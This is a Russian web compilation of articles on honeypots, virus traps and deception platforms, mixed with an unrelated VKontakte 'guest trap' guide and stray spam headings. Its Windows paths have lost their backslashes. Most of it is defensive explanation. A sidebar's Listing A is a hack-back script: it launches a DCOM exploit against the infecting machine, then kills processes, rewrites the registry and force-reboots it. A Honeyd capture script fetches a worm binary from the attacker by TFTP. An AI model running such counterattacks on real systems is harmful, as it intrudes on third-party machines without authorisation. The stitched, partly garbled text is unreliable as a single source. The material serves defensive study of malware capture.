Капкан для вируса
Сеть одного из моих заказчиков постоянно подвергалась атакам хакеров. Достаточно было установить соединение с Internet, и корпоративные сетевые маршрутизаторы и коммутаторы начинали светиться, как рождественская елка. При отсутствии соединения с Internet коэффициент использования сети составлял обычно 2 или 3 процента.
Хакеры пересылали через сеть миллионы пакетов, но мой клиент не знал, как они это делают. Пытаясь перехватить вредные пакеты, он подключил сетевой анализатор, но спустя несколько минут тот был перегружен сотнями тысяч пакетов, принадлежавших, в основном, несанкционированному трафику. Выяснить, каким способом хакеры проникают в сеть, и какие действия в ней совершают, помогла ловушка для вирусов.
Иногда недостаточно лишь воспрепятствовать атаке вирусов, «червей» и «троянских коней» — нужно захватить вредную программу и получить от нее все интересующие нас сведения. С помощью ловушки для вирусов даже не имеющие навыков диагностики сетевые администраторы смогут распознать вторжение на ранних стадиях. В данной статье рассказывается о некоторых методах ловли вредных программ и приводятся примеры их применения.
ЛОВУШКИ ПРИ ОБГОНЕ. Смертельные ДТП: подробный разбор. Консультация адвоката
Что такое вирусная ловушка?
Простое определение вирусной ловушки: программа, или программа-приманка, цель которой — обнаружить, замедлить или захватить определенный образец или тип вредителя для дальнейшего изучения. Приманка — непроизводственный компьютер, созданный для слежения за его несанкционированным использованием. Антивирусная приманка — специализированная приманка для обнаружения и захвата автоматизированных вредных программ. Она в меньшей степени, чем обычная приманка, ориентирована на нападения целеустремленных взломщиков, которые организуют лишь малую часть всех атак. Чтобы обнаруживать взломщиков, действующих вручную, требуется более функциональная и сложная приманка.
Отражая нападения вредоносных программ, в первую очередь необходимо ответить на два вопроса:
- Какие уязвимые места пытается отыскать вредная программа?
- Какие действия будет производить разрушительная программа, получив доступ через обнаруженное уязвимое место?
Цель первого вопроса — выяснить, каким образом вредитель планирует атаковать сетевые компьютеры; ответ подскажет меры, которые должен принять администратор, чтобы остановить вредителя (или хотя бы свести ущерб к минимуму). Второй вопрос относится к истинным целям злоумышленника. Является ли попытка несанкционированного доступа самоцелью, или настоящая цель — испортить данные, украсть файлы, рассылать спам, или обнаружить свободное место на диске для хранения вредных файлов или нелицензированного цифрового контента? Вирусная ловушка поможет ответить на эти вопросы.
Вирусная ловушка может быть полезна в различных ситуациях, в том числе:
- В антивирусных списках появился новый «червь». Администратор полагает, что его сетевая инфраструктура надежно защищена от атаки, но хочет получить раннее предупреждение, если вредитель проникнет внутрь периметра. Или получено сообщение о «черве», и в компьютерах сети появились симптомы инфекции.
- Какой-то вредитель постоянно атакует брандмауэр на периметре, и его необходимо захватить, чтобы выяснить цель попыток проникнуть в сеть или выйти из сети.
- Взломщики и вредные программы успешно проникают в сеть и серверы, и администратору необходимо выяснить, как это происходит.
Типы и применения вирусных ловушек
Существует четыре типа ловушек для вирусов: прослушиватели порта (port listener), «смоляные ямы» (tarpit), приманки (honeypot) и виртуальные системы.
Что такое HoneyPot? Создаем ловушку для хакера на Python!
Прослушиватели порта. Прослушиватель порта — любая программа, которая может открыть IP-порт и захватить данные, поступающие в этот порт. Прослушиватели порта — самые простые программы. Им не нужно имитировать службу, выдавать себя за сервер или отвечать на какие-либо запросы. Они лишь записывают данные, поступающие к ним.
Недостаток прослушивателей порта — невозможность использовать их для контроля TCP-трафика в контексте протокола, который всегда требует ответа для организации успешного сеанса связи. Однако иногда достаточно лишь прослушивания.
Например, «червь» SQL Slammer использует для нападений единственный 376-байтный UDP-пакет. Чтобы захватить его, достаточно просто прослушивать UDP-порт 1434. В настоящее время самый распространенный прослушиватель порта — Netcat, бесплатная утилита, которую можно загрузить с узла http://www.vulnwatch.org/netcat. Netcat можно использовать для различных целей, в том числе для организации одного или нескольких сеансов прослушивания портов. Поймать «червя» Slammer можно с помощью следующей команды Netcat:
nc -vv -l -p 1434 > port1434.log
Ключ -vv указывает на необходимость выдачи на экран сообщений о попытках соединений, -l обеспечивает прослушивание входящих соединений через порт, заданный ключом -p, а собранные данные сохраняются в текстовом файле с именем port1434.log. Если применяется эта команда, то следует нажать клавиши Ctrl+C, чтобы завершить сеанс Netcat или ввести с клавиатуры
nc -h
чтобы вывести на экран подсказку Netcat.
На Экране 1 показан образец «червя» SQL Slammer, захваченного в прослушивателе порта Netcat. Картина вряд ли будет понятной кому-то, кроме программистов, так как захваченный выполняемый код представляет собой часть переполнения буфера. Тем не менее, текст, следующий за командой
type port1434.txt
есть «червь» SQL Slammer. Если распознать «червя» не удается, то поиск, проведенный в Internet по нескольким представленным на экране строкам, покажет, что захваченный программный код принадлежит SQL Slammer. Затем можно протестировать все системы SQL Server и убедиться, что на всех системах установлены исправления против «червя».
Полный исходный текст SQL Slammer опубликован по адресу http://www.eeye.com/html/research/flash/sapphire.txt. Если атаки продолжаются из того же исходного IP-адреса, можно даже попытаться установить контакт с его владельцем или применить другие меры защиты компьютеров.
«Смоляные ямы». «Смоляные ямы» используются в большей степени для замедления распространения вредных программ, чем для захвата и отображения их программного кода. LaBrea (http://labrea.sourceforge.net), спроектированная Майклом Робинтоном, была первой и по-прежнему остается самой распространенной «смоляной ямой». Программа отвечает на все запросы, направленные к несуществующему IP-адресу.
После задержки, необходимой любому рабочему компьютеру для ответа, LaBrea отвечает на попытки установить соединение таким образом, чтобы вредная программа затратила как можно больше времени (максимально увеличиваются периоды повторной передачи и ожидания TCP/IP). LaBrea замедляет работу вредных программ и действия хакеров, и определяет их исходный IP-адрес (Экран 2). Функциональность LaBrea умышленно ограничена, но программа чрезвычайно успешно выполняет свою задачу. Ее способность замедлять распространение «червей» из Internet, в соответствии с намерениями автора, подтверждена на многих реальных «червях» и лабораторных тестах.
Приманки. Приманки — превосходный метод захвата «червей» из Internet с более сложным взаимодействием. Большинство приманок располагает прослушивателями порта и более развитыми механизмами взаимодействия. Например, большинство приманок легко взаимодействует с вредными программами, требующими TCP-квитирования, и отвечает с использованием предписанных команд.
Многие приманки просты для установки и располагают множеством встроенных функций протоколирования и предупреждения. В результате они становятся идеальными ловушками для вирусов.
Некоторые специалисты, в том числе Лоран Одо из группы Rstack (http://www.rstack.org), применяли Honeyd (http://www.honeyd.org), распространенную приманку с открытым кодом, для поимки «червя» MSBlaster, когда тот атаковал компьютеры по всему миру. «Червь» ищет TCP-порт 135, поэтому пользователи Honeyd ведут прослушивание по этому порту, добавляя следующую строку в файл Honeyd.config:
add tcp port 135 open
Обнаружив открытый порт, «червь» пытается вызвать переполнение буфера с использованием удаленного вызова процедуры (RPC) DCOM. Если переполнение буфера произошло, то в реальном компьютере «червь» устанавливает соединение с TCP-портом 4444 и загружает основное тело с помощью Trivial FTP (TFTP) через TCP-порт 69.
Чтобы поймать «червя», пользователи Honeyd создали служебный сценарий захвата msblaster.sh и добавили его к порту 4444 с помощью команды настройки Honeyd, которая выглядит примерно так:
add tcp port 4444
«sh msblaster.sh $ipsrc $ipdst»
Сценарий msblaster.sh установил соединение со взломщиком и получил выполняемый файл MSBlaster:
tftp $1 get msblast.exe
quit
EOF
Сценарий использует программу tftp.exe (расположенную в папке system32 в большинстве систем Windows), чтобы загрузить msblaster.exe для исследования. Дополнительные сведения можно найти в документе «Honeyd vs Msblast.exe» (http://www.citi.umich.edu/u/provos/honeyd/msblast.html) или превосходном материале «Fighting Internet Worms With Honeypots» (http://www.securityfocus.com/infocus/1740). Аналогичные сценарии и приемы можно использовать для захвата большинства сканирующих «червей» из Internet.
Иногда недостаточно просто захватить «червя». В упомянутых выше статьях о сценариях захвата MSBlaster содержится сценарий контратаки, он используется некоторыми администраторами в попытке остановить натиск «червя» MSBlaster. Дополнительные сведения об активном подходе содержится во врезке «Иду на червя». Более подробная информация о запуске и настройке Honeyd приведена в статье «Использование приманок на базе Windows», опубликованной в четвертом номере Windows IT Pro/RE за 2004 год и в статье «Пакет Honeyd for Windows», (http://old.osp.ru/win2000/solutions/508_71.htm).
Виртуальные системы. Лучший способ собрать полную информацию о взаимодействии вредной программы с почти реальным компьютером — использовать виртуальную систему, такую как VMware Workstation (http://www.vmware.com) или Microsoft Virtual PC 2004 (http://www.microsoft.com/windows/virtualpc/default.mspx). Программные виртуальные системы могут имитировать реакцию настоящего компьютера на действия вирусов и «червей».
С помощью сетевого анализатора, такого как бесплатный Ethereal (http://www.ethereal.com), можно отслеживать исходящий и входящий трафик виртуального сеанса, и использовать бесплатные утилиты Regmon и Filemon (http://www.sysinternals.com) для обнаружения изменений в сетевом трафике, реестре и файловой системе. Более подробную информацию об использовании программных виртуальных систем в качестве приманок и вирусных ловушек можно найти в статьях «Использование приманок на базе Windows» и «Пакет Honeyd for Windows». Важно направить несанкционированный трафик только в нужный сеанс и не позволить вредной программе использовать виртуальный сеанс в качестве отправной точки для атаки на компьютеры. Захватив вредную программу с помощью простого прослушивателя портов, «смоляной ямы», приманки или виртуальной системы, можно детально исследовать вредителя или передать его для анализа поставщику антивирусных программ. Поставив капкан для вирусов, администратор получит своевременную и достоверную информацию об угрозах для сети.
Иду на червя
MSBlaster атаковал только компьютеры Windows, на которых не были своевременно установлены соответствующие исправления. Компания Microsoft и некоторые другие организации, обеспечивающие безопасность в Internet, неоднократно призывали пользователей Windows установить исправления на своих системах. К сожалению, многие пользователи не услышали предупреждений. «Червь» MSBlaster успешно заразил сотни тысяч компьютеров. Даже если в сети предприятия были установлены все исправления, MSBlaster мог замедлить ее работу из-за большого числа атакованных компьютеров.
Некоторые администраторы подготовили служебный сценарий (Листинг A). Если с ним установлено соединение, то сценарий устанавливает обратное соединение с компьютером-источником, уничтожает процесс «червя» MSBlaster, удаляет вредную запись реестра (с помощью созданного «на ходу» файла редактирования) и перезагружает систему. Результаты несанкционированного применения активных сценариев в компьютерах и сетях могут быть противоречивыми. На первый взгляд, удаление «червя» всегда полезно, но при удалении «червей» порой возникают столь же серьезные или более тяжелые проблемы, чем первоначальное заражение.
Например, кто-то из лучших побуждений создал «червя» Welchia, функции которого были почти такими же, как у сценария в Листинге A. Welchia устанавливал соединение с уязвимыми компьютерами, удалял MSBlaster и загружал исправление Microsoft, чтобы устранить лазейку. «Червь» MSBlaster причинял неприятности в течение нескольких дней, но Welchia вызывал отказы в работе сетей еще в течение нескольких недель, так как его механизм сканирования был еще более агрессивным, чем первоначальный «червь». Welchia создал гораздо большую угрозу, чем болезнь, которую он должен был вылечить.
Листинг A: Сценарий удаления MSBlaster из исходного компьютера
REM запускает атаку DCOM против зараженного компьютера, из которого исходит атака,
REM затем запускает команды очистки в удаленной оболочке DOS
./dcom_exploit -d $1
REM Выполняет в компьютере следующие операции:
REM 1) Уничтожает активный процесс msblast.exe
taskkill /f /im msblast.exe /t
REM 2) Удаляет двоичный код «червя»
del /f %SystemRoot%system32msblast.exe
REM 3) Очищает реестр
echo Regedit4 > c: cleanerMSB.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
CurrentVersionRun] >> c:cleanerMSB.reg
echo «auto windows update» = «REM msblast.exe» >> c: cleanerMSB.reg
regedit /s c: cleanerMSB.reg
del /f c:cleanerMSB.reg
REM N) В этом месте можно добавить специальные действия для обновления компьютера Windows
REM N+1) Перезагрузка компьютера
shutdown -r -f -t 0 exit
Источник: www.osp.ru
Использование ловушек (Deception) для обнаружения злоумышленников в инфраструктуре
Deception (создание ложных целей, расстановка ловушек) — действенная технология корпоративной информационной безопасности. Организации используют её для обнаружения злоумышленников и предотвращения атак на ранних этапах. Расскажем о том, как появилась технология и каковы её преимущества.
- Введение
- Появление технологии: HoneyPot — предок Deception
- Разница между HoneyPot и Deception
- Принцип работы
- Приманки
- Задачи
- Интеграция со средствами защиты
- Выводы
Введение
Специалисты по информационной безопасности ежедневно решают ряд задач по обеспечению защиты организации. И сейчас это особенно актуально, потому что атаки стали более масштабными, а сами киберпреступники — лучше оснащёнными технологически. В связи с этим набирают популярность решения класса Deception, которые позволяют создать ловушки в инфраструктуре компании, чтобы обезвредить злоумышленника и понять его цели и мотивы.
Инфраструктуре ложных целей и deception-технологиям мы посвятили один из эфиров AM Live, на который пригласили ведущих специалистов по информационной безопасности. Выводы об этом относительно новом сегменте рынка мы изложили в отдельной статье.
Появление технологии: HoneyPot — предок Deception
Предшественниками Deception называют ханипоты (англ. honeypot, «горшочек с мёдом») — цели-приманки, которые позволяют отвлечь злоумышленника от важного объекта сети. Когда ханипот атакуют, он фиксирует поведение хакера для дальнейшего анализа. А вот задержать злоумышленника на изучении ресурса — это вторичная функция технологии.
Ханипоты могут имитировать рабочее место сотрудника, сервер, отдельный сервис и т. д. Сегодня решения для киберобмана выходят за пределы одной локации, выявляя хакера за три-четыре этапа, даже если расположены не на каждой машине. Но вне зависимости от технологичности ханипот могут обнаружить злоумышленники.
Безусловно, у технологии есть недостатки. Во-первых, необходимо работать с каждым отдельным ложным сервером, настраивая его. Во-вторых, ханипоты не взаимодействуют между собой и с элементами настоящей инфраструктуры, поэтому они выглядят менее реалистично в глазах злоумышленника. В-третьих, хакеру нетрудно обнаружить технологию, что обесценивает её внедрение. И, наконец, ханипоты обычно не объединены в общую систему, что усложняет управление и настройку.
Разница между HoneyPot и Deception
Ханипот — это самостоятельное решение, которое фиксирует действия злоумышленника. Но, как было сказано выше, хакеры научились обнаруживать технологию, поэтому требовалось её обновление. На смену пришла Deception, или DDP (Distributed Deception Platform), — централизованная система, представляющая собой связанные отдельные ханипоты. Новая технология автоматически изменяет среду, не оставляя её статичной.
Разницу в эффективности этих классов можно очень грубо описать примером с рыболовецкими сетями. Представьте, что мы ставим на одной вёсельной лодке небольшие сети в озере в стоячей воде. Далее ждём, пока придёт рыба.
Сами сети можно сравнить с ханипотами: необходимо ставить их в большом количестве, чтобы поймать как можно больше рыбы (злоумышленников), постоянно следить за ними и управлять ими, переплывая от одной сети к другой. Если же сильно модернизировать судно, сделав его более крупным и технологичным, то мы сможем управлять с него сразу несколькими большими сетями. А если мы добавим ещё несколько лодок, загоняющих рыбу специальными средствами, то эффективность будет гораздо выше, чем у обычной лодки. Так выглядит сравнение ханипотов с Deception.
Принцип работы
При внедрении DDP ИТ-инфраструктура организации будет разделяться на две части. Первая — это настоящая сеть компании, вторая — имитированная среда, состоящая из ловушек, расположенных на реальных физических устройствах. В рабочей инфраструктуре размещаются приманки и ловушки. Например, это могут быть ложные записи о подключении к сетевым дискам, учётные данные и другие сущности.
Любое взаимодействие с ловушками означает хакерскую активность. Соответственно, если злоумышленник попал в реальную инфраструктуру организации, добрался до рабочей станции или сервера, то он наткнётся на приманки и ловушки. Те сообщат о попытке атаки на компанию, и оператор получит подробности происходящего: адрес и порт источника и цели, протокол взаимодействия, время срабатывания и т. д. Таким образом атакующий будет обнаружен и остановлен.
В дальнейшем служба безопасности организации сможет проанализировать действия хакеров, узнать об их тактиках и целях. Эта информация позволит понять, что именно интересно злоумышленникам, и расставить акценты в защите данных.
Департамент безопасности компании, создав обманную среду, убережёт ресурсы организации и приостановит атаку, отслеживая действия хакеров. Компании выгодно как можно убедительнее уверить злоумышленника во взаимодействии с реальной инфраструктурой, чтобы обнаружить и обезоружить его.
Рисунок 1. Откуда появилась технология Deception
Приманки
Остановимся подробнее на приманках. Это объекты, которые размещаются на реальной рабочей станции. Приманка похожа на что-то обычное, привычное пользователю, чтобы не вызывать у хакеров подозрений. Например, это может быть «случайно» забытый файл с паролем, сохранённая сессия, закладка в браузере, запись в реестре и т. д. Но объект содержит ссылку и данные для доступа на ложный сетевой ресурс.
Сами приманки ограничены во взаимодействии с рабочей инфраструктурой, что приводит к минимальному влиянию на неё.
Задачи
DDP решает несколько основных задач, актуальных для компании. В первую очередь, платформа создаёт поддельную инфраструктуру на базе существующей. Во-вторых, DDP помогает обнаружить злоумышленника на начальном этапе проникновения в сеть при сканировании сетей или портов. В-третьих, происходит обнаружение атакующего на этапе горизонтального перемещения (lateral movement) — например, если хакер скомпрометировал одно из автоматизированных рабочих мест (АРМ) и хочет переместиться на соседнее.
Технология Deception разработана с учётом анализа мышления и поведения злоумышленника и позволяет идентифицировать атаку на ранней стадии. Таким образом специалисты по ИБ получают значительное преимущество перед хакерами и выигрывают время в случае атаки. Также сотрудники собирают данные и анализируют действия нарушителя: как он смог проникнуть в инфраструктуру, что он для этого использовал и так далее. Иными словами, они проводят расследование.
Последнее, но не по значимости, — это интеграция с другими средствами защиты, такими как SIEM, межсетевые экраны (NGFW / UTM), EDR (Endpoint Detection and Response), песочницами. Поясним далее, для чего это необходимо.
Интеграция со средствами защиты
Согласно статистике, собранной одним из производителей DDP, 75 % организаций на российском рынке, которые уже использовали технологии обмана злоумышленников, будут наращивать их применение в ближайшие три года. При этом такие системы имеют низкое количество ложных срабатываний, поэтому будет актуальна интеграция с различными средствами защиты информации.
- Оперативное оповещение о взломанных машинах в SIEM.
- Автоматический поиск заражённых систем с помощью настроенных политик.
С межсетевыми экранами (NGFW / UTM):
- Возможность отправки запросов на блокировку или карантин заражённых АРМ.
C EDR (Endpoint Detection and Response):
- Блокировка и отправка на карантин заражённых станций.
- Автоматическое реагирование на инциденты с помощью политик изоляции.
C песочницами (Sandbox):
- Отправка подозрительных исполняемых файлов на анализ.
Выводы
По данным Positive Technologies, в 65 % атак злоумышленники применяют в качестве инструментов вредоносные программы. При этом 8 из 10 мошеннических действий — целевые. Следовательно, хакеры проводят тщательную разведку и адаптируют свой инструментарий под специфику инфраструктуры жертвы. Для того чтобы успешно выявлять такие угрозы, приманки должны точно имитировать реальные рабочие станции сотрудников и провоцировать атакующих выдать себя.
Deception появилась на рынке меньше 10 лет назад, но уже набирает популярность у компаний. Её эффективность зависит от разработки и настройки решения. Это необходимо для того, чтобы злоумышленник не смог отличить приманку от реальной цели.
Применение Deception — широкое, решение внедряется не только в инфраструктуры офисных компаний, но и в сети АСУ ТП. Сейчас на отечественном рынке присутствует Xello, разработчик первой российской платформы класса Deception. На сегодняшний день эта платформа входит в Единый реестр отечественного ПО.
Источник: www.anti-malware.ru
Ловушка гостей ВКонтакте
Мы уже успели рассказать, как узнать, кто посещает вашу страницу в ВК. В той статье мы в частности затронули так называемые ловушки, которые позволяют выявить гостей страницы. Поскольку о ловушке мы рассказали совсем немного, сегодня поговорим о ней более подробно.
Что такое ловушка гостей ВКонтакте? Это ссылка, которую нужно установить на своей странице. Как только пользователь пройдет по ней, его переход будет зафиксирован, а вы узнаете, что именно этот пользователь посетил вашу страничку (есть нюанс, о нем читайте ниже).
Для начала установим приложение. Зайдите в раздел «Приложения», что находится в меню.
Здесь вы увидите список уже установленных, а также популярных приложений.
В правой части страницы есть окно с надпись «Поиск». Введите в него словосочетание «мои гости» (без кавычек), появится список приложений, выберите указанное на скриншоте.
Нажимаем на кнопку «Запустить приложение», попутно знакомясь с правами доступа. Если что-то не понравится, вы в любой момент можете удалить приложение из установленных.
Приложение запущено. В правой части экрана выбираем раздел «Мой профиль».
На открывшейся странице активируем ловушку для гостей, нажав на ссылку «Активировать».
Открывается окно. В нем вы увидите ссылку вида vk.com/app638461_ваш_id, которую следует скопировать и разместить либо на своей стене, либо в поле «Личный сайт».
Что бы вставить ссылку в поле «Личный сайт», вернитесь на свою страницу, нажмите «Редактировать страницу», выберите вкладку «Контакты» и добавьте скопированную ссылку в поле «Личный сайт». Обязательно нажмите на кнопку «Сохранить».
Теперь ссылка высвечивается в поле «Веб-сайт» на вашей странице.
Теперь о нюансе. Пользователь, как только пройдет по ссылке и установит приложение, будет тут же вам показан в разделе гостей в приложении.
Другие интересные статьи:
- Как узнать, кто заходил на мою страницу ВКонтакте? (гости в ВК)
- Как узнать у кого ты в закладках ВКонтакте?
- Как скрыть группы в ВК?
- Как скрыть свою страницу ВКонтакте?
- Как быть невидимым ВКонтакте?
- Как посмотреть страницу ВКонтакте, если ты в черном списке?
- Как удалить друга из ВКонтакте?
- Как сделать свою страницу ВКонтакте популярной?
Источник: vkhelpnik.com
«Золотой стандарт» или что умеют современные Deception-решения: ловушки и приманки. Часть 1
О Deception уже написано немало статей. Это неудивительно – обманные технологии в последние годы активно завоевывают мир ИБ. В последнем отчете Gartner Deception была названа одной из наиболее эффективных технологий в области защиты информации: по мнению экспертов, она находится практически на пике и ее выход на плато ожидается в горизонте 5-10 лет. В России уже представлен ряд продуктов класса Deception, в том числе и наш собственный, при этом каждый из них обладает своими особенностями. Мы решили пофантазировать, что было бы, если на рынке существовало некое «идеальное решение», сочетающее в себе все функции современных технологий киберобмана.
В серии статей нами собран сводный список функциональных возможностей Deception, присутствующих в тех или иных решениях. И здесь мы не будем углубляться в технические детали, наша задача – помочь читателям шире взглянуть на технологии кибеоробмана и их возможности, особенно с точки зрения защитной стратегии, и выбрать для себя свой собственный «золотой стандарт».
Архитектура и варианты поставки
Начнем с основ: архитектуры и возможных вариантов поставки продукта. Архитектурно решения Deception традиционно делятся на несколько классов:
- On-premise решения, полностью разворачиваемые на оборудовании заказчика;
- Преимущественно on-premise решения, часть функционала которых реализована в виде облачных сервисов или служб вендора;
- Гибридные решения: можно развернуть on-premise, но при наличии необходимости защиты облачных платформ, также развернуть часть решения в облаке;
- Облачные решения, разворачиваемые полностью в своём облаке (аналог on-premise, но для облачных платформ);
- Смешанные облачные решения. Например, модули ловушек и центр управления разворачиваются в своём облаке, а аналитика или ложная AD уже развёрнуты в облаке вендора, к которым нужно лишь подключиться.
Если говорить о вариантах поставки, то они могут зависеть от выбранной архитектуры решения, но обычно также являются достаточно типовыми:
- Преднастроенный образ виртуальной машины (OVA);
- Интегрированные ISO образы ОС (на базе Linux) с предустановленными пакетами и скриптами развёртывания;
- Дистрибутивное ПО, позволяющее установить решение на имеющуюся инфраструктуру (часто встречается для ОС семейства Windows);
- Программно-аппаратный комплекс, поставляемый вместе с преднастроенным оборудованием.
Выбор подходящего варианта обычно тесно связан не только с применяемыми в компании решениями, но и с требованиями законодательства или политикой безопасности организации. Следует отметить, что в качестве облачных платформ в основном поддерживаются AWS, Azure и GCP. Поддержки российских облаков у вендоров, представленных на нашем рынке, пока обнаружить не удалось. Среди российских компаний чаще всего востребована поддержка локальных дистрибутивов, например, Astra Linux или РЕД ОС.
Теперь самое время расставлять капканы и раскладывать приманки! Вендоры используют различные наименования для ловушек и приманок (Lures, Decoys, Honey Tokens и т.д). Чтобы не путаться, мы будем называть их терминами «ловушка» и «приманка».
Виды ловушек
Ловушки – это ложные узлы сети, позволяющие обнаружить злоумышленника, и, самое главное, отвлечь его от настоящих узлов, замедлив горизонтальное продвижение по сети. Это могут быть эмулированные рабочие станции, сетевое оборудование, серверы, различные сервисы. Исторически, еще со времен Honeypot, ловушки делятся на 4 основных типа:
- Низко-интерактивные ловушки (Low interactive);
- Средне-интерактивные ловушки (Medium interactive);
- Высоко-интерактивные ловушки (High interactive);
- Полноценные ОС (FullOS).
От степени интерактивности зависит уровень правдоподобности ловушки, однако, здесь есть прямая зависимость. Как гласит старый утиный тест – «Если нечто выглядит как утка, плавает как утка и крякает как утка, то это, вероятно, и есть утка». В случае с ловушками, эмулирующими БД или иные тяжелые сервисы – еще и потребляет столько же или даже больше (за счет подробного протоколирования) ресурсов.
Рассмотрим это на примере SSH ловушки. Во всех случаях события с ловушек сразу отдаются на консоль управления:
- На низком уровне интерактивности SSH ловушки система может предложить только возможность аутентификации, но войти в систему будет нельзя. Будут собираться необходимые клиентские фингерпринты, ключи, пары логин/пароль и т.д.
- На среднем уровне интерактивности SSH ловушка может быть похожа на restricted shell. В этом случае злоумышленник может успешно войти в систему, но список команд будет очень ограничен.
- На высоком уровне интерактивности в ловушке будут присутствовать различные процессы, домашние папки пользователей. Некоторые ловушки при этом ограничивают возможность установления дальнейшего SSH соединения, чтобы не стать промежуточным хостом для развития атаки.
В зависимости от уровня интерактивности, система может быть практически неотличима от настоящей, при этом интегрироваться с различными песочницами для отправки пейлоадов, загружаемых в систему при попытке злоумышленника повысить привилегии или обойти средства аутентификации.
Споры, насколько интерактивной должна быть ловушка, не утихают до сих пор. Здесь следует отталкиваться от конкретных целей. Если ваша задача просто быстро обнаружить злоумышленника, то может хватить и низко-интерактивной. Если же хочется более подробно поисследовать его поведение, а также замедлить горизонтальное перемещение по сети, лучшим решением будет добавление высоко-интерактивных ловушек.
Здесь, однако, стоит быть осторожным при использовании популярных систем эмуляции. Авторы одной из самых популярных систем по эмуляции SSH и Telnet Cowrie в 2020 году сделали вот такую правку «Rename built-in user richard to phil, it’s used as detection mechanism». Очевидно, с тех пор механизм детектирования тоже был немного поправлен 🙂
Какие же виды ловушек могут предложить современные Deception-решения? Практически любые! Выбор ограничивается только фантазией заказчиков и желанием вендора её воплотить. Один из вендоров однажды сделал ловушку в виде управляемой по сети лампочки популярного производителя, поскольку в инфраструктуре заказчика использовались именно такие и была необходимость в их эмуляции.
В современных решениях могут присутствовать следующие типы ловушек:
- Файловые ресурсы SMB разной степениинтерактивности. Может быть, как низкоинтерактивная эмуляция, где злоумышленник может увидеть только список доступных расшаренных папок, без возможности зайти на них (такие ловушки хороши против сканирующей малвари или внутреннего пользователя с Kali). Более интерактивные ловушки уже поддерживают SMB 2.0/3.0, могут динамически изменять своё содержимое и интегрироваться с песочницами для проверки загружаемого в них контента.
- FTP/TFTP/SFTP сервера. Как и файловые ловушки SMB, могут быть разной степени интерактивности, обычно они реализуются на основе готовых FTP или SSH решений.
- Базы данных (MySQL, PostgresSQL, MSSQL, Oracle). Эмуляция баз данных самая интересная задача – каждый вендор ищет для себя свою грань. И если Open Source можно просто форкнуть и упаковать в ловушку, то с Oracle так уже не получится… Поэтому каждый вендор выбирает свою степень интерактивности: начиная от простого повторения формата протокола для аутентификации и заканчивая пустым ответом на все запросы вроде «Запрос вернул 0 строк».
- Ловушки для Active Directory. Это специализированные ловушки, позволяющие определять такие вещи как LLMNR атаки, атаки на Kerberos, Pass The Hash атаки.
- Сервисы удалённого доступа VPN (OpenVPN, IPSec, l2tp). Из-за пандемии и массового перехода на удалённый формат работы, такой тип ловушек стал особенно востребованным, и многие производители начали активно добавлять его к себе в портфель.
- Роутеры и другое сетевое оборудование. Эти ловушки делятся на 2 категории – веб интерфейс оборудования, в котором даже могут быть повторены все детали интерфейса и можно производить настройки и смотреть статистику, а также SSH интерфейс, в той или иной мере эмулирующий интерфейс реального сетевого оборудования.
- Web-сервисы. Эмуляция настоящих внутренних ресурсов, начиная, например, от формы логина в Outlook Web Access и заканчивая возможностью клонирования формы входа любой внутренней самописной системы и нескольких типовых страниц.
- RDP/VNC системы. Ловушки, эмулирующие различные системы удаленного управления рабочими столами. Обычно бывают низко-интерактивными, однако, эти же сервисы хорошо работают в FullOS ловушках, где обеспечивается их полноценная реализация, поэтому, при наличии полноценной ОС, многие вендоры рекомендуют включать в ней эти сервисы.
- Принтеры и МФУ. Эмуляция различных протоколов печати. Более продвинутые версии идут в комплекте сразу с web-интерфейсом принтера, позволяя создать полноценную эмуляцию.
- Эмуляция SCADA и IoT устройств — сложная задача: протоколов много, и они очень разные. Есть ряд Deception-систем, специализирующихся на эмуляции IoT и SCADA. У многих вендоров в списке обязательно есть такой функционал.
- IP-телефоны. Отдельный класс ловушек, эмулирующий конечные устройства IP-телефонии. Звонить по ним нельзя, а вот получить web, ssh или SIP интерфейс можно.
- CI/CD системы. Имитация популярных систем вроде Jenkins или GitLab.
- iLO/iDRAC/Server Managemement. Специализированные ловушки для эмуляции систем управления серверным оборудованием.
- Почтовые ловушки. Имитация популярных протоколов SMTP, IMAP. POP3.
- Эмуляция Private Cloud. Тут целый спектр эмуляции OpenShift/Docker/к8s
- Генерация ловушек под популярные и актуальные CVE. Заранее создаются «уязвимые» сервисы, чтобы вызвать у злоумышленника как можно больший интерес именно к этим узлам.
На этом перечень возможных ловушек не заканчивается. Многие производители имеют в своем арсенале специальный набор ловушек для Active Directory, сетей на основе MacOS и Linux. В качестве интересного проекта-сборника популярных видов ловушек с акцентом на Open Source рекомендуем вот этот репозиторий.
FullOS ловушки
FullOS ловушки используются для развертывания систем, эмуляция которых по тем или иным причинам затруднительна. Как следует из их названия, это полноценные операционные системы, превращенные в ловушку для Deception-платформы, и ничем не отличающиеся от реальных систем, кроме наличия подробного протоколирования. Чаще всего это RDP сервера, специализированные банковские АРМ, вроде АРМ КБР или средства управления АСУ ТП.
Для FullOS жизненно важна идентичность с используемыми в организации машинами, поэтому чаще всего они изготавливаются из Golden Image. Это позволяет решить в том числе и вопрос лицензирования такой ОС. При развёртывании в неё добавляются сервисы-кейлоггеры, мониторы журналов событий, производится более детальная настройка средств протоколирования.
Некоторые производители позволяют устанавливать низкоуровневый драйвер-руткит, максимально скрывающий присутствие стороннего софта на машине и интегрирующийся, например, со средствами виртуализации. Это позволяет реализовывать такой дополнительный функционал как:
- Кейлоггеры, снимающие всю активность злоумышленника;
- Автоматическое создание снепшотов или дампов памяти для последующего анализа;
- Возвращение (откат к контрольной точке) после атаки или посещения злоумышленником;
- Сбор полноценной форензики с узла.
Уровень сокрытия каждый производитель выбирает сам. Во время одного из круглых столов, один из производителей сокрушался, что они столько средств вложили в сокрытие своего ПО, но злоумышленники так и не добрались до этого уровня…
Виды приманок
С ловушками разобрались, самое время заманить в них злоумышленника. Для этого в Deception-решениях используются приманки. Приманки – это информация, разложенная в самых популярных для злоумышленников местах поиска возможностей для горизонтального перемещения, которая приведет их в ловушку
К популярным видам приманок относятся:
- Различные учетные данные пользователей AD;
- Файлы различных подключений к удаленному столу RDP/VNC;
- Записи в HOSTS файле;
- Сохраненные подключения к сетевым ресурсам и принтерам;
- История команд в BASH и PowerShell;
- История в браузерах и хранилище паролей в них;
- Сохраненные данные в браузерах;
- Сетевые подключения в SSH/FTP клиентах;
- Настройки популярных программ, хранящихся в реестре;
- Тестовые файлы с «забытыми» паролями;
- Менеджеры паролей вроде KeePass;
- Ну и, конечно же, хранилища паролей вроде MS Vault, оперативной памяти LSASS и кешей входа на рабочую станцию.
